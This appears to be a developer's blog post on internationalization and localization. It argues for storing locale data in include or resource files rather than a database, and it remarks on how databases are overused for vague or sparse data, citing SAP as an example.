Ah yes, the fine art of globalization. Let us first examine the subtle distinction between these two infamous concepts as given by our trusty friend, the Wikipedia:
Internationalization is the adaptation of products for potential use virtually everywhere, while localization is the addition of special features for use in a specific locale.
So, i18n is something a programmer does (crafting code to handle potentially all sorts of different locales) and l10n is something a local domain expert should do (creating the actual locales by, for example, translating content, UI labels and selecting culture friendly icons and colors). However, usually this task is also assigned to an unfortunate programmer.
A while ago I had to think about some i18n for a project I’m working on and at first it appeared all the locale data would be stored in a database. When I found out my (old friend) and colleague was already using a simple include file in his classic ASP portion of the project I was delighted because this meant it wouldn’t automatically wind down to a database to store our locales.
Probably because I voiced my delight a little to loudly another colleague started defending databases for storage because it wouldn’t force a re-compile when the actual localization data would change. This argument does not make sense in any environment, classical ASP, VB6.0 or .NET that we work with in our shop, heck, it makes no sense what so ever. There are loads of ways to implement resource files that do not need a re-compile whenever the actual data in it changes. And even if it would, I could probably more easily (and faster) create a new satellite assembly and upload that to the server than edit some field, somewhere in some row of a database.
Databases are often a good choice when storing enterprise data. They abstract the data storage from the applications that use it and usually excel in data retrieval tasks like selecting, sorting and grouping the data. However, this does not mean that they are good for storing everything. More often than not the actual data to store is pretty vague and some things may even be unknown. It is not uncommon to have a table with a lare quantity of columns with an almost equally large number of empty or null fields for every row in the table. This is often a sign that you’re using a database where a database is probably not the right choice.
Take a system like SAP for example. It offers an enormous amount of possibilities and locations (unlimited it seems) to store data about all kinds of entities you might find in a large enterprise. Now think about the amount of human resources it will take to gather and input all that information and consider the percentage that is actually filled out properly (correct formatting and all). It’s probably nearer to 0 than to 100.